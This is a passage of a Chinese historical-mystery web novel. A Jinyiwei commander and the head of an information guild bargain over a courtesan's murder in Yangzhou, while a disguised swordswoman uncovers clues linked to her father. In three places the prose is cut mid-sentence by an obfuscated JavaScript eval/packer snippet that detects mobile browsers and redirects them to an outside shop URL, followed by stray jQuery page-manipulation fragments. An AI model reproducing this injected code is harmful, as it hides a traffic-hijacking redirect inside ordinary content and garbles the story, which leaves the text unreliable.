桌上摆了一整套茶具,小火炉上的壶正悠哉地冒着热气儿。兰烟渚刚走到椅子边还未坐下,就被陈松睿突兀的一句话定在了当场:“阁主口音不像扬州人,倒更像顺天府人。”
兰烟渚垂下了眼睫,语调四平八稳:“民女幼时随亲人跑商,学了一口大梁官话。”
陈松睿微笑着“哦”一声,笑眯眯地坐了下来。
他动作行云流水,泡了一杯幽香清澈的茶汤递过去,骨节分明的手在烛光下泛着一层玉质的光:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213884|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,尝尝贡茶,我也只讨得几两,这一口下去万金啊。”
方满穗与兰霜毫站在兰烟渚身侧,面具眼睛的位置被黑纱遮住,掩盖了她带着探究的眼神。
距离上次见到这人已经过去了一个多月,这原本能被她一拳揍下来的病秧子显然已经彻底恢复,长得活像个钻石渣男王老五。她倒是不怕被人认出,大不了一剑带走这狼似的家伙……只是比起其他,她更想知道这一切到底怎么回事。
爹爹身上到底藏着什么秘密,这人又为什么来到这,是为了找她,还是另有其事?
方满穗被披风遮住的手攥成了拳,放缓了呼吸,尽可能降低了自己的存在感。
陈松睿的注意力更多放在了身形更加高大的兰霜毫身上,眼神时不时在那把隐在披风中的剑上掠过。他天南地北胡乱扯了一通淡,才终于在茶水耗尽之前提起了正事儿。
“阁主,本官想和你做笔生意——不,做两笔。”陈松睿往后一靠,身形舒展,那股被他藏在文雅面皮之下的压迫感再次透了出来:“意下如何?”
兰烟渚不动声色,只放下了手里没怎么喝的茶水:“尘外友不会拒绝任何生意,陈指挥使想与我等交易什么?”
“第一笔,我想知道一个人的行踪。”陈松睿的一句话让方满穗的手猛地一颤:“第二笔,我想知道一件事的原因。”
兰烟渚:“请直言。”
“我想知道剑圣覃詹女儿的下落。”陈松睿沉声说道:“第二,我想知道扬州府贪墨案是否与十七年前通州走私盐案有关。”
“剑圣覃詹?”兰烟渚手指在茶杯边缘摩挲,眉梢微微一挑:“呵,两笔交易都可以做,只是就要看陈指挥使能不能付得起‘价格’了。”
陈松睿眯了眯眼,没有接话,示意兰烟渚继续说下去。烛光在兰烟渚身上的锦缎上滑过,年轻女子笑的温婉,眼神却半点不软:“第二笔交易,三百两黄金,若想知道更深,那就看陈指挥使诚意。”
“哦?哈哈哈,好。”陈松睿哈哈一笑,一条腿踩到了椅子上,这坐姿活像盯好了猎物的狼犬:“第一笔呢?”
兰烟渚不轻不重地把茶盏往桌上一放:“第一笔,要用承诺来换。”
“我自是知道陈指挥使未必会把承诺当真,没关系,尘外友记得就行。”兰烟渚说话声音并不高,安安静静,却好似千钧压顶:“剑圣覃詹曾予尘外友恩情,他的女儿自然是我尘外友座上贵宾。若要知道她的行踪,我要你陈指挥使的项上人头来换。”
这话好似劈开天地的巨斧、不周山被撞断的巨响,将怡红院内一切动静镇于沉寂之下。候在旁边的姬沧远和姚姜同时将手放在了刀柄之上,周围的锦衣卫也不动声色地围了过来。
“我的项上人头?”陈松睿噗嗤笑了出来,仿佛这是什么极为好笑的事儿。他一发不可收拾,大笑眨眼间充斥了整个大厅之中,不停地拍着自己的大/腿。
“这确实值当,毕竟是剑圣的女儿。”他将笑声衔入唇舌,胸口震动:“就是想要我命的人太多,尘外友怕是得排个队了。”
“好!成交,三百两黄金和我的项上人头,”他拍了拍手,唤来姚姜:“那么阁主如何给我想要的东西?”
10. 青楼案(7)
“尘外友自会通知陈指挥使。”兰烟渚站起身:“那么民女——”
“别急着走啊,阁主。”陈松睿笑眯眯地说道,冲姚姜比了个手势:“尘外友与本官的交易谈完了,还有其他的没说完呢,您着什么急?”
他放下了那条腿,眉眼骤然沉下,像是伺机攻击猎物的狼犬,已然露出了闪着寒光的利齿:“尘外友的条件本官答应,本官的要求还没说呢。”
“这怡红院出了凶杀案,本官认为与扬州府贪墨案相关,因此下令查封这处产业。一应相关人员全部带走——”
陈松睿微微倾身,手指在桌子上不轻不重地点了三下:“本官要好好审,仔细审。阁主,请吧?”
兰烟渚渐渐收起了那副温和的笑意,脸上仿若黑云压城,透着一股冲天的压迫感。她又缓慢坐了回去,声音还是那副四平八稳的调调:“审谁,审我?”
“陈指挥使久经官场,未免不太懂江湖规矩。”兰烟渚慢条斯理地理了理衣袖,一双眼睛亮如寒星,直直刺在陈松睿的脸上:“这在谁的地盘,谁说了算,瞎嚷嚷只会让人当成狗叫的。”
原本不知道躲哪里去的青/楼杂役小厮们居然悄无声息地围在了四周,不少人手里抄着武器,沉默地和锦衣卫对峙着。
他们也不说话,也没有动手的意思,好像围在头狼身边的拥趸,只需一个下令就能使他们奋不顾身的冲杀起来。
“都站着。”陈松睿余光撇过一个想要拔刀质问的小旗。他还是那副吊儿郎当的模样,哈哈一笑,俊美的脸上乍然间如春华绚烂:“别这么紧张阁主,不审就不审,莫要伤了和气不是?”
他像是个喜怒无常的狼犬,变脸变得那叫一个令人自叹弗如,刚才还闪着寒光的眼睛眨眼间又开始笑得温和,隐隐约约还泛着一股憨气:“说起来那虹霓姑娘倒是惨,活不见人死不见尸。虽说这些姑娘身若浮萍,与那风中飘絮大差不差,卖了骨头都未必值得几两银子……”
他向前倾了倾身体,目光将兰烟渚的表情尽收眼底:“但这到底是一条人命。无论她身前如何卑贱,死后都会如那些四世三公、王公贵族一样走过奈何桥,喝下孟婆汤。阁主,不想为她讨个公道吗?”
兰烟渚有些意外地眉梢一动,看向面前面色郑重了几分的陈松睿:“指挥使这一番话,倒与我所设想不同。”
“若指挥使仅仅只是想为虹霓讨得公道,我倒是没有二话,自是配合您。若是要与我讨价还价,那还是请指挥使令寻他人吧。”
陈松睿又是了然一笑,一拍手:“阁主莫气,本官也没说要讨价还价啊?”
兰烟渚隐在袖子里的手攥成了拳。这陈松睿,脸上像是带了千张面皮,一会儿一个样。上一秒还像个纨绔子弟吊儿郎当,下一秒立刻就满面阴鸷,恨不能把对面的骨肉拆开撑了斤两!
他好像一个藏在面具后的赌徒,用尽一切手段试探他人手里的底牌,信誉与名声都是他可以用来换取胜利的筹码,他脸上的人皮叠了千百层,真心早就被这层层面具似的“脸”遮得不见天日。
“哦?”她不动声色地看着对面坐没坐相的俊美青年,又重新坐了回来:“那陈指挥使是何意思,还请明说。”
“生意,还是要做的。”陈松睿头也没回,对着身后的姚姜摆摆手,示意她走上前:“但命案,本官也是要破的。不若本官卖个好儿,替您处理了这草菅人命的宵小,您也还本官个好儿,告诉我这贪墨案是否与十七年前的私盐案有关,如何?”
他张开猿臂,朗声一笑,活像自己多好心,让人占了个大便宜:“阁主依然可以取我项上人头,甚至还让令人闻风丧胆的锦衣卫帮自己破了个案,而您仅仅只需要回答个问题……是不是很值当啊,阁主?”
方满穗面具后的眉毛一挑,无声地啧了一下:到没想到这货居然这么不要脸,偷换概念用的真叫个炉火纯青!
兰烟渚这次是真没忍住,肩膀一抖,直接气笑了。她的双眸半点笑意也无,戒备与冷漠让她的双眼如冰水浸过的宝石:“这听起来还真是让指挥使吃了个大亏啊,民女真是心中羞愧。”
“不过让您失望了,民女不是什么好人。”兰烟渚的嘴角缓缓落下,面色与落日后布满阴霾的天空相似:“问题可以回答,一百两金子,一两不能少。若是不答应,这案子自然不需要您帮忙,民女自己也能找出凶手!”
“成交!”陈松睿像是知道兰烟渚会这么说似的,拍拍手,令姚姜把那装满金子的小木箱放在她面前:“里面一共一百二十两金子,多出的算作本官的歉意。”
兰烟渚却是一拂袖,劲风挥开箱子,算了算,取出了不多不少的二十两重重地放在了桌子上:“多的一分不要,陈指挥使的歉意,在下不敢收。素琢,素琢!”
旁边快站睡着的兰霜毫一个激灵,赶紧走上前把箱子扛在肩上。兰烟渚侧过身,狠狠瞪了一眼偶尔不靠谱的弟弟,便对他说:“你先回去,让人去查,小方陪着我就行。”
“快点快点,”陈松睿在后面摆摆手,笑嘻嘻地催促道:“本官还想尽快知道答案呢。”
“嗯……既然如此,还请阁主随我来,”他站起身,背着手,彬彬有礼地示意兰烟渚随自己来:“那位‘虹霓姑娘’尸身在这边。”
#######
小屋子里站着零散几个人,林奎之抱着刀在扶手椅里打着瞌睡,旁边的钱修生一脸熬夜的疲惫,揣着双手,精神萎靡地蹲在了椅子上。
他试过了经典的尿遁,结果林奎之直接叫人抱来一个夜壶,之后这千户一声令下,叫其他人全都转过去,只有他自己堵着耳朵瞪着大眼睛盯着他。
提奇怪的要求,他就会“哦哦哦好的”然后吩咐下属去做,下属会装模作样大半天,回来告诉他做不成……
一来二去,钱修生自己都搞累了,那家伙居然还一本正经地问他还需要点什么!
“老夫想休息,”老头精神不振,委委屈屈地缩进了椅子里:“不麻烦官爷了。”
兰烟渚一进门就看到墙角那朵忧郁的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234058|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“蘑菇”,她嘴角抽了抽,眼神飘向身边笑盈盈的陈松睿。
钱修生则是眼前一亮,老头像是看见了救星,“诶呦”一声蹿过来,冲着兰烟渚就是贼大一声“阁主”!
“这位钱大夫帮我们验了尸。”陈松睿对林奎之使了个眼色,这才对这钱修生一抱拳:“还得多谢大夫。”
钱修生干巴巴地笑了两声,也回了一礼,这才将尸体的情况给了兰烟渚听,末了补充一句:“倒是胸口的那一剑看上去颇有实力。”
方满穗听到“剑”,藏在斗篷中的手猛地攥紧,使劲一咬舌头,才止住了想要抬头的冲动。
她隐藏在面具之后的眼睛盯着钱修生,心口的搏动愈发慌张凌乱。
剑……为什么是剑,钱伯的话好像故意没有说完,他下半句是什么,是“似乎有些熟悉”吗?
她不能动,只能在背后当一个不听不看的哑巴侍从——陈松睿就坐在旁边,一切动静都会被那只狐狸似的狼狗收入眼中!
兰烟渚没什么表情的点点头,上前拍拍人肩膀:“辛苦了。”
陈松睿在他们交流的时候就叫人将尸体洗刷好送来,这会儿拍拍手,示意几位看向自己:“这就是‘虹霓姑娘’。”
“这不是虹霓。”兰烟渚皱着眉说道,瞄了一眼陈松睿,扬了扬下巴:“这是何意?”
“这当然不是虹霓姑娘,只是这人作为虹霓姑娘死去了。”陈松睿目光在兰烟渚的眉眼间逡巡片刻,又波澜不惊地看向死者:“真正的虹霓姑娘在哪,本官没找到,不过我想谁杀了她,阁主也许能帮忙。”
兰烟渚捂住口鼻,凑进些看了看死者,皱着眉摇摇头:“不认识。”
“啪!”
陈松睿像是闻到血腥味的鲨鱼,扭过头,看向不小心撞到桌子上花觚的方满穗:“哦?这位侍卫似乎认识这人。”
方满穗先是想看仔细些,凑近了几步,心中一慌,后退的时候撞到了桌子上。她后背出了一层冷汗,心跳快把耳膜震碎了,强压慌乱,沉声说道:“属下不认识。不小心撞到,惊扰两位,实在抱歉。”
她曾与父亲学过变声,此时声音沙哑浑厚,听起来像个变声期的少年。尽管面具隔绝着了陈松睿的目光,方满穗还是感觉到那股刮刀似的眼神,恨不能把面具下的皮囊全都割裂,好好看一看藏在胸口中不安的内心!
她暗骂一声,再不敢仔细看,规规矩矩站回到了兰烟渚的身边。
“哦,这样。”陈松睿笑了笑,倒是宽容大方放过了方满穗。他四下看了看,似模似样的对着兰烟渚一拱手:“还请阁主行个方便,让我的属下探查一遍怡红院。”
怡红院并非尘外友暗桩,兰烟渚点点头,没再阻拦:“那就拜托指挥使了。”
“好说,好说。”陈松睿这会儿倒做足了温文尔雅的样儿,冲兰烟渚点点头,便带人离开了。
刚出门,他就收了脸上的笑,用内力传音姚姜:“去屋里找个地儿藏着,听听兰烟渚和那侍卫说什么悄悄话没。”
11. 青楼案(8)
见那大尾巴狼出了门,方满穗立刻内力传音兰烟渚,声音慌得抖如筛糠:“姐,那个人是我爹杀的,那伤痕是我爹的鱼肠!”
覃詹是爱剑之人,平生搜集了三把名剑,有两把上古传承的好剑,一唤工布,一唤鱼肠,第三把就是方满穗腰间的参差流鸣剑,可控制内力,使其在硬剑与软剑中切换,挥舞间如清凤鸣啼,金光流转,因此得名流鸣。
她骨架小,又不愿意练得五大三粗,覃詹只好将这轻巧的剑送给心爱的女儿。方满穗将覃詹独创的剑法学了个八成,自然是对爹爹手里的两把剑了如指掌,那痕迹只需看一眼,就知道是带有特殊花纹的鱼肠剑刺出来的。
所以她才在看到后仓皇失措,一脚踢到了桌子。
“不慌。”兰烟渚也用内力轻声安慰道:“我会让我娘去问问师父怎么回事,不慌不慌。师父武功已是独步天下,不必担心会被抓住。”
方满穗深吸了一口气,缓慢地吐了出来:“我不是担心爹爹被抓,我担心是他究竟想干嘛?!他五六十的人了还不安分,到底是想干嘛啊?!”
兰烟渚不好让人看出两人在暗地里说悄悄话,几步走到桌子旁边,替自己倒了杯茶水,掩住轻轻动的嘴唇:“别怕。娘不日将来到扬州,到时候问问看,也许是师父有什么旧怨吧,江湖人,来来去去不也就这些。”
方满穗满腔都是酸涩的情绪,若是覃詹在面前,她飞得上去狠狠揍他两拳不可!
“什么旧怨居然能惹来锦衣卫……”她闭了闭眼,又吸了口气,用力稳住自己擂鼓般跳动的心脏:“姐,若是陈松睿要什么人帮忙,让我去,我想知道究竟发生了什么。”
她紧接着又是一句抢白,打断了兰烟渚紧张的话:“姐,我十七了,我不傻,别怕,我不会坏事的,你知道我比霜毫靠谱多了。我不会感情用事的,让我去。”
兰烟渚用茶杯遮掩,轻轻叹了口气:“你和谁比不好,和霜毫比靠谱……我知道你下了决心,那就去,有事儿姐兜着呢。”
方满穗:“谢谢姐,我会安然无恙的。”
说罢,她便安安静静地靠墙站去,没再用内力说什么话。兰烟渚看了看天色,叹了口气,张口对方满穗说道:“小方,坐下歇会吧,有的忙呢。”
方满穗恭恭敬敬:“是。”
#####
锦衣卫把楼里上上下下、犄角旮旯全都搜了一遍,搜出不少杂役、小厮、龟公藏的私房钱,倒是没抢,就是想找的东西一样也没搜出来。
姚姜去而复返,对着老大摊摊手:“他俩一共说了两句话,‘坐下歇会吧’,‘是’,然后就没了。我房梁上蹲得脚都麻,啥也没听到。”
她惟妙惟肖地模仿着两个人的语气和声音,说完之后自己都叹了口气:“老大,你是不是有点太紧张了?我感觉那兰烟渚也没什么太大问题……”
陈松睿熬了一个通宵,眼睛里绕着一大团红血丝,正抱着双臂揉着太阳穴靠在墙上。他闻言白了一眼姚姜,叹了口气:“锦衣卫将来要都是你们这些心大漏风的人,该怎么办呦……”
“你没看到我提到覃詹,兰烟渚一刹那晃动的瞳孔吗?”他好像那个特别苛责的父母,强行让不擅长某事儿的“孩子”学会什么东西:“而且那个叫小芳的侍卫,那身形我总觉得在什么地方见到过……”
他向来过目不忘,却犹豫了好一会儿没想出来那个“小芳”是谁。姚姜等了会没等到自己老大的长篇大论,“哦”了一声,挠了挠脸颊:“那什么,那我继续去盯着兰烟渚?”
以前办公务,熬夜熬个四五天都是经常的,倒不至于因为这个原因脑子回忆不起来东西……陈松睿做了个手势,示意姚姜等一等,仔细把最近的记忆梳理了一遍,实在是想不起来任何名字里带有“芳”的男性……男性?
不对,这个人只是穿了男式衣服而已,却并不一定是个男人啊!
那身衣服修饰身材,显得这人高挑细长……嘶,高挑……
“大人!”一声叫喊打断了陈松睿的思路,一个衣服带汤挂水的小旗一溜小跑过来,大声禀报道:“找到尸体了!在柴房外的井里!”
“好!”陈松睿这会儿才用大拇指指了指楼里,示意姚姜去叫人:“走!”
####
兰烟渚带着方满穗到了柴房,正看到几人将一具尸体搬出来。
曾经若清霜冷絮裯的美人今日已经被西风尽扫,凋零得只剩下死白的面容。方满穗与她并不熟悉,但同为女子,心里还是涌起一阵难言的凄凉悲伤。
大概是锦衣卫中有女子的原因,她身上被盖了一层厚厚的床单,没露什么。钱修生被人再次拎了出来,苦哈哈地继续帮忙验尸。
片刻之后,老头站起身净了手,擦擦额角的冷汗:“虹霓姑娘是被人重击后脑死亡的,没查到有其他的伤痕。”
“重击后脑?”陈松睿凑近了,看向虹霓血肉模糊的发髻:“这样。能看出来被什么重击的吗?”
钱修生扁了扁嘴,声音有些委屈:“老夫……老夫认不出来,还请指挥使请一位专门的仵作吧。”
陈松睿好像自动过滤了他整句话,一个停顿没打,继续说到:“那能知道那重物大概有多重吗?”
兰烟渚却是听懂了陈松睿的言外之意,对着钱修生点点头,提醒道:“指挥使的意思是,那个重物是男子能拿起,还是男女都能拿起?”
“以骨折的程度来看,若是武器,应该是锤、锏之类的东西,”钱修生琢磨着,有些犹豫地说道:“……一般女子,应该是举不起来的。”
陈松睿哼出一声鼻音,净了手,余光瞄了一眼兰烟渚:“也就是不一般的女子是可以举起来的。”
他嘴里那句“不一般的女子”似乎隐隐指代了不少人,兰烟渚和方满穗同时蹙了蹙眉。但陈松睿却若无其事地站起身吩咐将尸体送入,这才拍拍手说道:“接下来就是找到凶手了,所以,到底是为什么一定要杀了虹霓姑娘?”
“去查,查虹霓姑娘近段时间都接过哪些客人。”兰烟渚对着站在人群最后的龟公说道:“再去把与虹霓姑娘交好的姑娘们带来……”
她撇了一眼没吭声的陈松睿,补上了一句:“我亲自审。”
####
陈松睿坐在大厅阶梯上,正仔细阅读着姬沧远方才递过来的密信。看到姚姜走过来,他才合上纸,对着她点点头:“怎么样?”
“有一个人,是虹霓的常客,”姚姜攥了攥刀柄,吐出了几个字:“扬州府通判田鸣。”
“只有这个人是与扬州府相关,其他的常客大多都是商户……”她眨眨眼,挠挠脸颊,看向自己老大:“我找的方向对了吧?”
陈松睿“嗯”了一声,用手指了指姚姜,脸上露出一个满意的笑:“有进步,不错不错。好,田通判,记下来,过两天我去找他玩儿。”
他站起身,理了理自己的衣物:“走,去看看兰阁主审的怎么样。”
这人身高腿长,走路惯常大步流星,这次却偏偏放轻了步伐,猫儿似的飘到了屋门口。屋里正有几个女子叽叽喳喳,陈松睿探头一瞄,正正好和一个穿着素白衣裳的女子对上了眼。
“呀!”那姑娘短促的惊叫一声,赶紧把自己缩得更小。陈松睿却一眼认出人,这不是就是那个在自己宴席间哭哭啼啼的弹琵琶姑娘?
兰烟渚正喝着一杯热茶,瞅了一眼门口:“指挥使既已来,就进来吧。”
已经是早晨,楼外一片寂静,几个姑娘缩在一起,各个脸上倦容憔悴。陈松睿半点没有被戳穿的不好意思,背着手两步跨进来,对着那个躲在后面的姑娘说道:“又见面了,还未问过姑娘姓名?”
几人的目光直直戳向那位瑟瑟发抖的姑娘,那姑娘先是抖了抖,才怯怯地说道:“奴……奴是素潭。”
“素潭?素潭好啊,‘素湍绿潭,回清倒影’,果然如同诗词所云,是个如雪浪般的女子。”陈松睿好像不记得之前他怎么吓唬那姑娘,笑眯眯地称赞道:“素潭姑娘,又见面了。”
这人本来长了一张进了青楼会被人哄抢的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240214|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
模样,可这飞鱼服一穿,毫无掩盖的凶悍气足以让任何人退避三舍。他也没管有没有人请,自顾自找了个地方一撩衣摆坐下:“正好,本官有件事儿想问你。”
素潭脸色煞白,倒像是她才是死去的人,纤弱的身体一直在轻微地抖动。果然,陈松睿半点没有怜香惜玉的意思,直白地问道:“那天晚上你神态似极度悲伤,是提前就知道虹霓的死讯吗?”
这话直白到几乎就是戳着人脸问“是你干的,还是你知道谁干的”,素潭果不其然抖得愈加剧烈,秀气的眼睛里甚至涌出一层泪水。
“奴……奴不知道。”她如同惊弓之鸟,浑身打颤,哆嗦得声音都在轻微地颤/抖:“奴……奴只是在悲伤、悲伤自己。”
“哦……悲伤自己。”陈松睿双目紧紧锁着素潭,她的一举一动、眉眼细微皱纹,全被这双眼一一拢住。一切无所遁形,素潭感觉好像自己脖子上栓着一条绳子,而绳子另一头的人正缓缓收紧!
她神经绷到了极致,便是尘土落于其上也会导致崩塌……素潭眼睛一暗,竟是当着所有人的面昏了过去!
“诶!!”
几个姑娘乱作一团,急忙护着昏倒在地的素潭。陈松睿的余光扫过兰烟渚和冲过来的方满穗,明智地站起身走出了门。
他往后瞄了一眼,招手叫来姚姜:“你盯着点那个素潭,找她套套话,下次换掉你这身衣服。”
姚姜“哦”了一声,也同样凑过去小声说:“老大,报销吗?我没带其他便服。”
陈松睿:……
他被这突如其来的话气得翻了个白眼,要不是后面乱做一团的场面,他真想直接给姚姜一拳!
“我怎么有你们这群下属,一条到晚耗我羊毛!”他气急败坏地低声骂道:“报报报!你要是没问出来什么,我就扣你薪水!”
外面因为“公费买衣服”引发一阵小争吵,屋里也乱糟糟,方满穗手指尖凝了内力,用力一戳素潭的合谷穴,才终于把吓晕过去的姑娘戳醒了。
“去熬一碗安神汤。”兰烟渚吩咐道,俯下身探了探素潭的脉,对方满穗使了个眼色:“小方,你这几天陪着点。若是陈指挥使要问话,别让她再被吓晕。”
方满穗点点头,双手一揽,直接把素潭公主抱进了怀里。素潭被这突如其来的一下吓了一跳,“诶”了一声,耳边就响起方满穗的声音:“别怕,我也是女的,我保护你。”
这声音清脆澄澈,带着一股女孩特有的稚嫩。素潭被这活泼泼的声音安抚,头一歪,就这么靠在方满穗的肩膀上。
这会儿陈松睿刚好又转回来,看到抱着素潭的方满穗,有些惊讶地一挑眉:“哦,素潭姑娘醒了吗?”
就在其他人以为这个冷血的指挥使又要作什么妖,却看到他拱手一揖,竟是道了声歉:“是我话语逼得太狠,特意前来道声歉。”
“只是,若素潭姑娘真与虹霓姑娘的死有关,”陈松睿没错过素潭轻轻地一缩,不动声色地继续好声好气:“还请兰阁主允我派人相护,素潭姑娘怕是会遇到危险——啊,放心,派女子,且绝不随意进素潭姑娘的门。”
兰烟渚瞄了一眼揪住方满穗袖子的素潭,点点头,同意了陈松睿的话:“自然。还请陈指挥使多多留心。”
若是不答应,这陈松睿绝不会轻易善罢甘休,怕是非得用什么非常手段不可——兰烟渚今日与他交锋,意识到这人是个难缠的对手:你弱他强,你强他耍赖,再不济装弱暗地里使绊子,就是个不达目的死也不罢休的牛皮糖!
麻烦的是,那些锦衣卫似乎对他忠心耿耿,连离间都没处用。
倒不如答应了,看他怎么样,反正这人对待女下属极为守礼,骨子里倒是有几分君子的样儿。
“送素潭回屋,小方,”兰烟渚对方满穗摆摆手,示意她赶紧走:“记得让她喝了安神汤。去吧。”
方满穗对着兰烟渚点点头,快步向楼上走去。
“现在,陈指挥使,”兰烟渚对着大厅做了个“请”的手势:“还请与我来。”
12. 青楼案(9)
素潭算是怡红院还算有些名气的清倌,屋里布置得典雅,屏风后一张花梨大理石桌案,上面摊着一张没摹完的字帖,窗下的桌案放着一个精致的玉壶春瓶,上面插着稀疏的残花,旁边堆了一摞书。
墙上挂了一张雪梅图,梅花傲骨,颇有几分扬无咎之风,署名是素潭自己。门帘下隐着的小榻上还扣着一本,似乎是话本,隐约看见是《将军恩泽风月夜》。
“谢谢……放我下来就好。”
素潭知道方满穗是女孩子,半点不羞了,刚一落地,门一掩,就捧来一盏冰茶:“我瞄见你一直随着阁主跑来跑去,一夜也未休息,喝点茶水润润嗓子。”
方满穗一手掀面具,一手灌茶水,喝得那叫一个豪迈,喝完痛快地舒了口气:“渴死我了!不敢摘面具,生怕被别人认出来。”
素潭笑眯眯地,又为她斟了盏茶。一看就知道这姑娘定然精通茶道,倒茶是优雅从容,素手纤纤,即便不喝茶,也是道难得的风景。
就不像方满穗,她现在只想对着茶壶嘴喝。
方满穗从没来过青楼,有点新奇地四下瞅着。她接受的教育都让她知道姑娘们有多不容易,每次看到她们笑脸迎客,总觉得心口必然哭的滴血。但是素潭活生生地坐在她面前,她又觉得半点凄凉悲伤感觉不到——托根无处不延绵,便是只有一点点雨泽,她们也能顽强地长出嫩芽。
“哎,我看到你在看话本,是什么呀?”方满穗把面具随手挂在脖子上,接过来素潭递给他的果子囫囵塞了一口:“唔……你知道润墨不?”
“你也看他的话本?!”素潭调门都高了两个度,眼睛一亮,小跑着把书捧了来,开开心心地推荐给方满穗:“这本是新出没多久的,叫《将军恩泽风月夜》,可好看啦!我才看了一多半,还是虹霓姐……”
方满穗嚼吧果子的动作一顿,眼睁睁看着刚才还心花怒放的姑娘一下子萎靡下来,眼里又坠了欲落不落的珠子。
若这件事无关人命,她还真会赞叹一句“细草愁烟,幽花怯露,凭栏总是销/魂处”。
她心里也跟着一堵,似乎因为离得近、悲伤重,隐隐竟是透过了皮肉,感觉到那股针刺刀戳般的难过。
方满穗慢吞吞地嚼吧完嘴里的果子,喝了一口冰茶,斟酌了一下话语,这才开口说道:“这是虹霓姐姐送给你的?”
素潭抬起头,露出一双红彤彤的眼睛,点点头,又垂了下去。方满穗却伸/出手,轻轻覆盖在素潭冰凉的手上。
“虹霓姐姐一定特别温柔,不然你也不会因为她的死去难受。”方满穗放轻了声音,安安静静地说道:“这个故事是她推荐给你的吗?”
“虽说我没看过,但是看了看标题,大概是郎才女貌,将军与风尘女子互相救赎?”
方满穗仔细辨别着素潭的表情,看到她轻轻点头,这才继续说道:“虹霓姐姐当时一定很希望有个人能救救自己,就像那最终拯救了风尘女子的将军一样。”
“素潭姐姐!”她一把抓紧了素潭想要缩回去的手,恳切地说道,一双小鹿似的清澈大眼睛带着没法被拒绝的真诚:“你一定知道虹霓姐姐是因为什么而死的对吗?我知道你很害怕,一定怕到晚上睡不好,做梦都会一遍遍看到虹霓姐姐哭泣的脸。”
她又放缓了声音,安抚地拍拍素潭的手:“可只有你能帮我们找出来凶手,只有你能做到了。素潭姐姐,也许你听过英雄,对吧,那么英雄能是谁?”
“是话本里的将军,是那个沦落风尘依然具有风骨的女子……也能是你,一个明明自身都陷入险境、却依然愿意选择拯救姐妹的女子。”
素潭慌张地挪开眼睛,泪水哗啦啦地落下来。她小声啜泣着,摇着头,另一只手抹着泪水:“我……我不是,我是懦夫,是懦夫……”
“害怕是正常的,我也会害怕,就在那个陈松睿看着我的时候。”方满穗站起身,搬着凳子坐去了素潭旁边:“但我们在害怕之后依然可以选择做英雄——姐姐,帮虹霓姐姐报仇,只有你能做到。”
说完之后,方满穗心里也开始了打鼓,不停地鄙视自己什么时候也学会了爹爹那种长篇大扯淡的能力——但现在实在没辙,只能尽可能鼓动素潭的情绪,否则她一昧后退,找出凶手猴年马月啊!
她也直觉这案子一定和爹爹相关,唯有找到凶手,才有可能知道爹爹的事情。
方满穗心里念叨了一连串对不住,下定决心一定要保护好素潭。
“虹霓……虹霓姐姐是被人杀的。”素潭因那些贴心的话攒了劲儿,急促的喘了几口气,下意识四下看了看,凑近了小声说道:“是因为一样东西……”
姑娘柔声细语说着,方满穗眼睛却越瞪越大,呼吸也不由自主地急促起来——她倏地攥紧了桌沿儿,心脏差点从嘴里蹦出来!
“这是我知道所有事情了。”素潭不安地眨巴着大眼睛,带着哭腔说道:“你一定要帮虹霓姐姐报仇……!”
“你——你让我想想,想想!”
方满穗“噌”一下站起身,左右跺步了两回,啧了一声,从怀里取出一把匕首递给素潭:“你先拿着,多少防身……你、哎,我不会让锦衣卫把你带走的,这件事儿交给我。”
这件事实在太过出乎意料,方满穗感觉这事儿要是爆出来,扬州府能被砍一半的人——她又是一声“哎呀”,使劲揉了揉脑袋,差点把幞头搓掉。
素潭双手绞着帕子,咬着下/唇,惶恐不安地看着差点把自己转成陀螺的方满穗。
“别怕,别怕。”方满穗又左左右右、上上下下把屋子扫了一遍,上前拍拍素潭的肩膀:“我尽可能留在你身边保护你。放心,我不会让你有事儿!”
####
兰烟渚和陈松睿谈了半个时辰,总算与这“雁过拔毛”的锦衣卫都指挥使谈拢了各个事务,带着有些昏沉的脑袋走了出来。
方满穗又重新带好了面具,正等在马车旁边,见到兰烟渚来了,这才上前抱拳一礼:“主人。”
“回去吧。”兰烟渚点点头。她打了个大哈欠,刚一掀开帘子,就和抱着小包袱的素潭对上了眼。
兰烟渚一个哈欠卡在喉咙里,差点没给人噎出一个嗝。
“姐,我能解释,你先进去。”方满穗在后面轻轻推了一下兰烟渚,后者无奈地瞪了她一眼,这才叹着气坐了进去。
“怎么回事?”兰烟渚脑袋有点痛,熬了一晚上还得和陈松睿那个狐狸似的狼狗对峙,她精力消耗地差不多了,话语也不耐烦起来:“赶紧的,别逼我发火。”
方满穗这才凑过去附耳说清。兰烟渚刚才还满脸不耐烦地揉着脑袋,越听越僵,揉着脑袋的手都停了下来。
